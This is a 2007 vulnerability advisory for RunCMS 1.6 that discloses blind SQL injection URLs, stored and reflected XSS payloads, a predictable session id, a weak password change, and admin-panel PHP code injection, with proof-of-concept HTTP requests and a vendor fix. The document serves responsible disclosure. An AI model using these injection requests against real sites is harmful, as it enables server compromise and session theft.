Digital Security Research Group Advisory 


Application:                    RunCMS
Versions Affected:              RunCMS 1.6
Vendor URL:                     http://www.runcms.org
Bugs:                           SQL Injections, XSS, PHP Include, Predictable session id, etc.
Exploits:                       Aviable
Reported:                       14.12.2007
Vendor response:                15.12.2007
Date of Public Advisory:        25.12.2007
Authors:                        Alexandr Polyakov, Stas Svistunovich
                                Digital Security Research Group (research@dsec.ru)



Description
***********

RunCMS system has multiple security vulnerabilities:

1. Blind SQL Injection
2. Stored XSS
3. Linked XSS
4. Image XSS
5. Predictable session id
6. Vulnerable password changing algorithm
7. Many PHP Injections in Administrator panel


Details
*******


1. Multiple Blind SQL Injection

Attacker can inject SQL code in modules:

        http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid+DSecRG_INJECTION
        http://[server]/[installdir]/modules/mydownloads/visit.php?lid=2+DSecRG_INJECTION
        http://[server]/[installdir]/modules/mydownloads/ratefile.php?lid=2+DSecRG_INJECTION
        http://[server]/[installdir]/modules/mylinks/ratelink.php?lid=2+DSecRG_INJECTION
        http://[server]/[installdir]/modules/mylinks/modlink.php?lid=2+DSecRG_INJECTION
        http://[server]/[installdir]/modules/mylinks/brokenlink.php?lid=2+DSecRG_INJECTION

Example:

This query will return link to download file:
        GET http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+1=1 HTTP/1.0


This query will return error:
        GET http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+1=0 HTTP/1.0

--------------------------------------------------------------------------------------------


2. Stored XSS

Vulnerability found in script modules/news/submit.php in post parameter name "subject"


Example:

        POST http://[server]/[installdir]/modules/news/submit.php HTTP/1.0


        subject=<script>alert("DSecRG_XSS")</script>

--------------------------------------------------------------------------------------------


3. Linked XSS vulnerability found in modules/news/index.php, attacker can inject XSS in URL string:

Example:

        http://[server]/[installdir]/modules/news/index.php/"><script>alert('DSecRG_XSS')</script>

--------------------------------------------------------------------------------------------


4. Image XSS vulnerability in page edituser.php, attacker can upload avatar picture with XSS code:


Example:

        More info: http://www.dsec.ru/about/articles/web_xss/ (in Russian)

--------------------------------------------------------------------------------------------


5. Predictable session id

Session id generator uses a predictable function, so id can be changed manually.

--------------------------------------------------------------------------------------------

6. Password changing vulnerability

Previous password not required to set a new password.

--------------------------------------------------------------------------------------------


7. Administrator page PHP Injection

Administrator can inject PHP code and execute OS commands with webserver user privileges.

page: /modules/system/admin.php?fct=meta-generator
        parameter name="header"
        parameter name="footer"

page: /modules/system/admin.php?fct=disclaimer
        parameter name="disclaimer"

page: /modules/mydownloads/admin/index.php?op=mydownloadsConfigAdmin
        parameter name='disclaimer'

page: /modules/newbb_plus/admin/forum_config.php
        parameter name="disclaimer"

page: /modules/mylinks/admin/index.php?op=myLinksConfigAdmin
        parameter name="disclaimer"

page: /modules/sections/admin/index.php?op=secconfig
        parameter name='intro'


Example: 

        POST /modules/system/admin.php?fct=disclaimer HTTP/1.0
        Host=localhost
        User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7
        Keep-Alive=300
        Proxy-Connection=keep-alive
        Content-Type=application/x-www-form-urlencoded
        Content-Length=226
        POSTDATA=perpage=10&popular=100&newlinks=10&useshots=0&shotwidth=140&anon_add=0&rss_enable=1&rss_maxitems=5&rss_maxdescription=200&
        disclaimer=<?phpinfo();?>&op=myLinksConfigChange


This page can be overwritten by PHP injection:

        runcms_1.6\modules\sections\cache\intro.php
        runcms_1.6\modules\mylinks\cache\disclaimer.php
        runcms_1.6\modules\mydownloads\cache\disclaimer.php
        runcms_1.6\modules\newbb_plus\cache\disclaimer.php
        runcms_1.6\modules\system\cache\disclaimer.php
        runcms_1.6\modules\system\cache\footer.php
        runcms_1.6\modules\system\cache\header.php
        runcms_1.6\modules\system\cache\maintenance.php



Fix Information
***************

RunCMS was altered to fix this flaw on Dec 15, 2007. Updated version (1.6.1) can be downloaded here:
        http://www.runcms.org/modules/mydownloads/visit.php?lid=131



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting,
audit and penetration testing services, risk analysis and ISMS-related services and certification for
ISO/IEC 27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database security problems
with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research@dsec.ru
                http://www.dsec.ru (in Russian)



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